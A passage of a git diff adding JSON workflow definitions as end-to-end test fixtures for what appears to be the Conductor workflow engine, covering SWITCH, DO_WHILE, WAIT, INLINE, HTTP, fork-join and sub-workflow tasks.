"integration_test_wf_with_sub_wf", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "someNullKey": null + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sub_workflow_task", + "taskReferenceName": "t2", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "${workflow.input.subwf}", + "version": 1 + }, + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "retryCount": 0 + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "failureWorkflow": "$workflow.input.failureWfName", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 5, + "ownerEmail": "test@conductor.io" +} +] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/switch_rerun_issue.json b/e2e/src/test/resources/metadata/switch_rerun_issue.json new file mode 100644 index 0000000..21c293a --- /dev/null +++ b/e2e/src/test/resources/metadata/switch_rerun_issue.json @@ -0,0 +1,53 @@ +{ + "name": "switch_rerun_issue", + "ownerEmail": "test@conductor.io", + "description": "Tests rerun with SWITCH task evaluating input after WAIT", + "version": 2, + "schemaVersion": 2, + "tasks": [ + { + "name": "inline_1", + "taskReferenceName": "inline_ref_1", + "inputParameters": { + "expression": "new Date().toISOString()", + "evaluatorType": "graaljs" + }, + "type": "INLINE" + }, + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": { + "duration": "2 seconds" + }, + "type": "WAIT" + }, + { + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "decisionCases": { + "yes": [ + { + "name": "inline_2", + "taskReferenceName": "inline_ref_2", + "inputParameters": { + "expression": "$.timestamp", + "evaluatorType": "graaljs", + "timestamp": "${inline_ref_1.output.result}" + }, + "type": "INLINE" + } + ] + }, + "defaultCase": [], + "evaluatorType": "value-param", + "expression": "case" + } + ], + "inputParameters": [], + "outputParameters": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/switch_rerun_issue_2.json b/e2e/src/test/resources/metadata/switch_rerun_issue_2.json new file mode 100644 index 0000000..a99f762 --- /dev/null +++ b/e2e/src/test/resources/metadata/switch_rerun_issue_2.json @@ -0,0 +1,88 @@ +{ + "name": "switch_rerun_issue_2", + "ownerEmail": "test@conductor.io", + "description": "Tests rerun with nested SWITCH inside DO_WHILE loop", + "version": 1, + "schemaVersion": 2, + "inputParameters": [], + "outputParameters": {}, + "tasks": [ + { + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "number": 3 + }, + "type": "DO_WHILE", + "loopCondition": "$.do_while_ref['iteration'] < $.number", + "loopOver": [ + { + "name": "inline_1", + "taskReferenceName": "inline_ref_1", + "inputParameters": { + "expression": "new Date().toISOString()", + "evaluatorType": "graaljs" + }, + "type": "INLINE" + }, + { + "name": "wait", + "taskReferenceName": "wait_ref", + "type": "WAIT", + "inputParameters": { + "duration": "1 seconds" + } + }, + { + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "decisionCases": { + "yes": [ + { + "name": "switch_1", + "taskReferenceName": "switch_ref_1", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "decisionCases": { + "yes": [ + { + "name": "inline_2", + "taskReferenceName": "inline_ref_2", + "inputParameters": { + "expression": "$.timestamp", + "evaluatorType": "graaljs", + "timestamp": "${inline_ref_1.output.result}" + }, + "type": "INLINE" + } + ] + }, + "evaluatorType": "value-param", + "expression": "case" + }, + { + "name": "inline_3", + "taskReferenceName": "inline_ref_3", + "inputParameters": { + "expression": "$.timestamp", + "evaluatorType": "graaljs", + "timestamp": "${inline_ref_1.output.result}" + }, + "type": "INLINE" + } + ] + }, + "evaluatorType": "value-param", + "expression": "case" + } + ], + "evaluatorType": "graaljs" + } + ] +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/sync_task_variable_updates.json b/e2e/src/test/resources/metadata/sync_task_variable_updates.json new file mode 100644 index 0000000..db9d673 --- /dev/null +++ b/e2e/src/test/resources/metadata/sync_task_variable_updates.json @@ -0,0 +1,153 @@ +{ + "createTime": 1744873676612, + "updateTime": 1744910019076, + "name": "sync_task_variable_updates", + "description": "sync_task_variable_updates", + "version": 1, + "tasks": [ + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "expression": "(function () {\n return $.value1 + $.value2;\n})();", + "evaluatorType": "graaljs", + "value1": 1, + "value2": 2 + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "wait_task", + "taskReferenceName": "wait_task_ref", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "switch_task", + "taskReferenceName": "switch_task_ref", + "inputParameters": { + "switchCaseValue": "${workflow.variables.case}" + }, + "type": "SWITCH", + "decisionCases": { + "case1": [ + { + "name": "wait_task_2", + "taskReferenceName": "wait_task_ref_2", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "case2": [ + { + "name": "wait_task_1", + "taskReferenceName": "wait_task_ref_1", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "onStateChange": {}, + "permissive": false + }, + { + "name": "json_transform", + "taskReferenceName": "json_transform_ref", + "inputParameters": { + "persons": [ + { + "name": "some", + "last": "name", + "email": "mail@mail.com", + "id": 1 + }, + { + "name": "some2", + "last": "name2", + "email": "mail2@mail.com", + "id": 2 + } + ], + "queryExpression": ".persons | map({user:{email,id}})" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/sync_workflows.json b/e2e/src/test/resources/metadata/sync_workflows.json new file mode 100644 index 0000000..8ea7a5e --- /dev/null +++ b/e2e/src/test/resources/metadata/sync_workflows.json @@ -0,0 +1,1067 @@ +[ + { + "createTime": 1683107983049, + "updateTime": 1682358589819, + "name": "sync_workflow_no_poller", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "simple_task_pia0h_ref", + "taskReferenceName": "simple_task_pia0h_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1683107970948, + "updateTime": 1684439813332, + "name": "sync_workflow_failed_case", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "http_no_fail", + "taskReferenceName": "http_no_fail", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/get", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000, + "accept": "application/json", + "contentType": "application/json" + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "http_fail", + "taskReferenceName": "http_fail", + "inputParameters": { + "http_request": { + "uri": "https://cdatfact.ninja/fact", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000, + "accept": "application/json", + "contentType": "application/json" + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1683108777738, + "updateTime": 1683108838153, + "name": "load_test_perf_sync_workflow", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_0", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "jq", + "taskReferenceName": "jq", + "inputParameters": { + "key1": { + "value1": [ + "a", + "b" + ] + }, + "queryExpression": "{ key3: (.key1.value1 + .key2.value2) }", + "value2": [ + "d", + "e" + ] + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "http_task_5saz2", + "taskReferenceName": "http_task_5saz2_ref", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": "3000", + "accept": "application/json", + "contentType": "application/json" + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "wait", + "taskReferenceName": "wait", + "inputParameters": { + "duration": "1 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "set_state", + "taskReferenceName": "set_state", + "inputParameters": { + "call_made": true, + "number": "${simple_task_0.output.number}" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fork_task_t7nhng", + "taskReferenceName": "fork_task_t7nhng_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_hap09_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + [ + { + "name": "x_test_worker_0", + "taskReferenceName": "simple_task_2nwrl_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_jgi39g_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "join_task_y6nux", + "taskReferenceName": "join_task_y6nux_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "simple_task_hap09_ref", + "simple_task_jgi39g_ref", + "simple_task_2nwrl_ref" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "sub_flow", + "taskReferenceName": "sub_flow", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "PopulationMinMax" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "dynamic_fork", + "taskReferenceName": "dynamic_fork", + "inputParameters": { + "forkTaskName": "x_test_worker_0", + "forkTaskInputs": [ + 1, + 2, + 3 + ] + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "forkedTasks", + "dynamicForkTasksInputParamName": "forkedTasksInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "dynamic_fork_join", + "taskReferenceName": "dynamic_fork_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "loop_until_success", + "taskReferenceName": "loop_until_success", + "inputParameters": { + "loop_count": 2 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ( $.loop_count['iteration'] < $.loop_until_success ) { true; } else { false; }", + "loopOver": [ + { + "name": "fact_length", + "taskReferenceName": "fact_length", + "description": "Fail if the fact is too short", + "inputParameters": { + "number": "${get_data.output.number}" + }, + "type": "SWITCH", + "decisionCases": { + "LONG": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "SHORT": [ + { + "name": "too_short", + "taskReferenceName": "too_short", + "inputParameters": { + "terminationReason": "value too short", + "terminationStatus": "FAILED" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "javascript", + "expression": "$.number < 15 ? 'LONG':'LONG'", + "onStateChange": {} + } + ], + "onStateChange": {} + }, + { + "name": "sub_flow_inline", + "taskReferenceName": "sub_flow_inline", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "inline_sub", + "version": 1, + "workflowDefinition": { + "name": "inline_sub", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fact_length2", + "taskReferenceName": "fact_length2", + "description": "Fail if the fact is too short", + "inputParameters": { + "number": "${get_data.output.number}" + }, + "type": "SWITCH", + "decisionCases": { + "LONG": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "SHORT": [ + { + "name": "too_short", + "taskReferenceName": "too_short", + "inputParameters": { + "terminationReason": "value too short", + "terminationStatus": "FAILED" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "javascript", + "expression": "$.number < 15 ? 'LONG':'LONG'", + "onStateChange": {} + }, + { + "name": "sub_flow_inline_lvl2", + "taskReferenceName": "sub_flow_inline_lvl2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "inline_sub", + "version": 1, + "workflowDefinition": { + "name": "inline_sub", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + } + }, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "sub_flow_inline", + "description": "sub_flow_inline", + "retryCount": 0, + "timeoutSeconds": 3000, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 20, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + } + }, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "sub_flow_inline", + "description": "sub_flow_inline", + "retryCount": 0, + "timeoutSeconds": 3000, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 20, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_5", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + ], + "startDelay": 0, + "joinOn": [ + "sub_flow_inline", + "simple_task_5" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fork_join", + "taskReferenceName": "fork_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "simple_task_5", + "sub_flow_inline" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": { + "task1": "${simple_task_0.output}", + "jq": "${jq.output}", + "inner_task": "${x_test_worker_1.output}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1683107857859, + "updateTime": 1685241924046, + "name": "sync_workflow_end_with_simple_task", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_00", + "taskReferenceName": "simple_task_rka0w_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1683107925149, + "updateTime": 1684744921838, + "name": "sync_workflow_end_with_set_variable_task", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "set_variable_task_1fi09_ref", + "taskReferenceName": "set_variable_task_1fi09_ref", + "inputParameters": { + "name": "Orkes" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1683107945966, + "updateTime": 1685309635473, + "name": "sync_workflow_end_with_jq_task", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "json_transform_task_10i8a", + "taskReferenceName": "json_transform_task_10i8a_ref", + "inputParameters": { + "persons": [ + { + "name": "some", + "last": "name", + "email": "mail@mail.com", + "id": 1 + }, + { + "name": "some2", + "last": "name2", + "email": "mail2@mail.com", + "id": 2 + } + ], + "queryExpression": ".persons | map({user:{email,id}})" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1683107958888, + "updateTime": 1682357144047, + "name": "sync_workflow_end_with_subworkflow_task", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "http", + "taskReferenceName": "http_sync", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "http" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1675358077891, + "updateTime": 1683650500645, + "name": "http", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "simple_task_in8x5", + "taskReferenceName": "simple_task_in8x5_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "createTime": 1670136356629, + "updateTime": 1676101816481, + "name": "PopulationMinMax", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "set_variable_task_jqc56h_ref", + "taskReferenceName": "set_variable_task_jqc56h_ref", + "inputParameters": { + "name": "Orkes" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} + }, + { + "name": "sync_workflow_with_inline_wait_and_simple_task", + "description": "Workflow with inline task, wait task (5 seconds) and simple task for testing waitUntilTaskRef", + "version": 1, + "tasks": [ + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "expression": "(function () {\n return $.value1 + $.value2;\n})();", + "evaluatorType": "graaljs", + "value1": 1, + "value2": 2 + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": { + "duration": "5 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "simple", + "taskReferenceName": "simple_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + 